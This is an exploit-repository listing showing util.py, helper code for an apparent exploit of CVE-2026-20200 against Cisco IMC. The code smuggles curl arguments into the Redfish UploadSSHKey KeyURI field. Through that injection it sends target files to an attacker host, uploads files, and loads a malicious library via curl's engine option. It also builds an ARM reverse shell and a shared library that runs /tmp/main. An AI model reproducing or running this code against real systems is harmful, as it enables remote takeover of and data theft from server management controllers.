Exploit databaseDownload repository ZIP
GH-763dd2985fa787dc0335ddd1c88bea26
nside-attack-logic/cimcown
Sources for CVE-2026-20200
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files9
nside-attack-logic/cimcownRevision 110d54022e44
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
util.py
Python · 7,798 bytesimport subprocess
import shutil
import requests
import urllib.parse
import os
from pathlib import Path
import socket
# For proxy awareness in the requests
if os.environ["PROXY_CIMC"] == "None":
proxy = None
else:
proxy = os.environ["PROXY_CIMC"]
# util.py provides different methods for building Golang binaries,
# different queries to Cisco IMC, creating a new NC terminal etc.
def start_terminal(cmd):
"""
Starts a new terminal in a new windows, as a dettached process.
Uses 'x-terminal-emulator' for most used terminal emulators.
"""
# Check if Debian default link exists
terminal = "x-terminal-emulator"
if not shutil.which(terminal):
# Fallback to known terminals, if x-terminal-emulator is missing
fallbacks = ["gnome-terminal", "konsole", "xfce4-terminal", "xterm"]
terminal = next((t for t in fallbacks if shutil.which(t)), None)
if not terminal:
print("[!] - No supported terminal found.")
return
try:
# -e is the typical flag to execute commands in a new window
subprocess.Popen([terminal, "-e", f"bash -c '{cmd}'"],start_new_session=True)
except Exception as e:
print(f"Error opening the new window: {e}")
def query_raw(target, cookieValue, sidValue, input_cmd, page):
"""
query_raw sends a query to the provided Cisco IMC API of the <target>,
using the provided <sidValue> and <cookieValue> as authentication,
with the corresponding <input_cmd> for the queryString in the API call
If successfull, returns the request response as "res"
"""
cmd = urllib.parse.quote(input_cmd)
res = requests.post(f"https://{target}{page}",
headers={
'Referer':f'https://{target}/imc/dashboard',
'Cookie':f'sessionCookie={cookieValue}',
'Accept-Encoding': 'gzip, deflate, br',
'Accept': 'application/json, text/plain, */*',
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36'
},
proxies={"https":proxy,"http":proxy},
verify=False,
data={"sessionID":sidValue,"queryString":cmd}
)
return res
def query_downloadFile(target, cookieValue, sidValue, hostIP, fileToRead):
"""
query_downloadFile sends an exploit query to the <target> to instruct it
to read a file <fileToRead> and send to a receiving server at <hostIP>
"""
cmd_tmpl = '''[{"jsonrpc":"2.0","method":"/redfish/v1/AccountService/Accounts/2/Actions/Oem/ManagerAccount.UploadSSHKey","params":{"HTTPMethod":"POST","Payload":{"KeyId":1,"KeyURI":"http://[HOST]/[FILE] -X POST --data-binary @[FILE]" }},"id":1}]'''
cmd_str = cmd_tmpl.replace("[HOST]",hostIP).replace("[FILE]", fileToRead)
cmd = "".join(cmd_str.splitlines())
response = query_raw(target, cookieValue, sidValue, cmd, '/UCSDataRequest')
if response.status_code != 200 :
print("[!] \t\tRepsonse Status Code: %d", response.status_code)
raise Exception("[!] \t\tFailure to request ReadFile")
def query_uploadFile(target, cookieValue, sidValue, hostIP, localFile, remoteFilePath):
"""
query_uploadFile sends an exploit query to the <target> to instruct it
to receive a local file <localFile> from the sending server at <hostIP>
and write it to <remoteFilePath>.
"""
cmd_tmpl = '''[{"jsonrpc":"2.0","method":"/redfish/v1/AccountService/Accounts/2/Actions/Oem/ManagerAccount.UploadSSHKey","params":{"HTTPMethod":"POST","Payload":{"KeyId":1,"KeyURI":"http://[HOST]/[FILE] http://[HOST]/[FILE] -o [OUTPUT]"}},"id":1}]'''
cmd_str = cmd_tmpl.replace("[HOST]",hostIP).replace("[FILE]", localFile).replace("[OUTPUT]",remoteFilePath)
cmd = "".join(cmd_str.splitlines())
response = query_raw(target, cookieValue, sidValue, cmd, '/UCSDataRequest')
if response.status_code != 200 :
print("[!] \t\tRepsonse Status Code: %d", response.status_code)
raise Exception("[!] \t\tFailure to request WriteFile")
def query_executeFile(target, cookieValue, sidValue, hostIP, libToLoad):
"""
query_executeFile sends an exploit query to execute the Cisco IMC local library <libToLoad>.
Idealy the lib is uploaded in a previous step
"""
cmd_tmpl = '''[{"jsonrpc":"2.0","method":"/redfish/v1/AccountService/Accounts/2/Actions/Oem/ManagerAccount.UploadSSHKey","params":{"HTTPMethod":"POST","Payload":{"KeyId":1,"KeyURI":"http://[HOST]/ --engine [FILE]"}},"id":1}]'''
cmd_str = cmd_tmpl.replace("[FILE]",libToLoad).replace("[HOST]",hostIP)
cmd = "".join(cmd_str.splitlines())
response = query_raw(target, cookieValue, sidValue, cmd, '/UCSDataRequest')
if response.status_code != 200 :
print("[!] \t\tRepsonse Status Code: %d", response.status_code)
raise Exception("[!] \t\tFailure to request ExecuteLib")
def create_folder(path):
"""
Creates folder and every needed parent folders, too (parents=True)
No error, if folder already exists (exist_ok=True)
"""
Path(path).mkdir(parents=True, exist_ok=True)
def buildGo(revShellIP, revShellPort):
"""
buildGo creates a copy of the "./shell/reverse_shell.go.example"
in the same folder, and replaces the placeholder for the local IP
and local port for listening with <revShellIP> and <revShellPort>.
It then automatically compiles the go binary.
"""
exampleFile = "./shell/reverse_shell.go.example"
prodFile = "./shell/reverse_shell.go"
# Check if all files and binaries needed are avaiable
if not shutil.which('go'):
print("[!]\tNo go binary found")
return
if not os.path.isfile('./shell/reverse_shell.go.example'):
print("[!]\tNo revshell ./shell/reverse_shell.go.example found")
return
# Create backup of prod-go-revShell if found
if os.path.exists(prodFile):
backup_name = f"{prodFile}.bak"
shutil.copy2(prodFile, backup_name)
# Copy example revShell to prodRevShell
shutil.copy2(exampleFile, prodFile)
# Set IP and port in go file
# Open file to read
with open(prodFile, 'r', encoding='utf-8') as file:
content = file.read()
# Replace IP and port placeholder
new_content = content.replace("<LOCAL_IP>", revShellIP)
new_content = new_content.replace("<LOCAL_PORT>", revShellPort)
# Write back the new values
with open(prodFile, 'w', encoding='utf-8') as file:
file.write(new_content)
# Cross-compile the reverse shell binary for ARM / Cisco IMC
environment = os.environ.copy()
environment["GOOS"] = "linux"
environment["GOARCH"] = "arm"
try:
subprocess.run(["go", "build", "-o", "./shell/revshell", "./shell/reverse_shell.go"], env=environment)
except Exception as e:
print(f"[!]\tError building go revshell binary: {e}")
def buildLib():
"""
Builds the local library used by the Cisco IMCs curl to execute a command.
The command uses the cross-compiler "arm-linux-gnueabihf-gcc" to compile for ARM,
and generates the file "lib.so" in the folder "./shell".
When the library is loaded by curl on the Cisco IMC, it changes permission of the file "/tmp/main"
and executes said file. THis file ("/tmp/main") could be for example the compiled golang reverse shell.
"""
if not shutil.which('arm-linux-gnueabihf-gcc'):
print("[!] - No binary 'arm-linux-gnueabihf-gcc' found\n[!]\tTry 'sudo apt install gcc-arm-linux-gnueabihf' ")
return
try:
subprocess.run(["bash", "-c", '''echo '__attribute__((constructor)) init() { execl("/bin/sh", "sh", "-c", "chmod +x /tmp/main; /tmp/main", 0); }' | arm-linux-gnueabihf-gcc -w -fPIC -shared -o ./shell/lib.so -x c -'''])
except Exception as e:
print(f"[!]\tError building revshell library: {e}")
def check_port(port):
# Small helper function to check if the local webserver port is closed successfully,
# before starting a new listener, which would fail otherwise.
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
try:
s.bind(("127.0.0.1", port))
return False # Port is usable
except socket.error:
return True # Port is blocked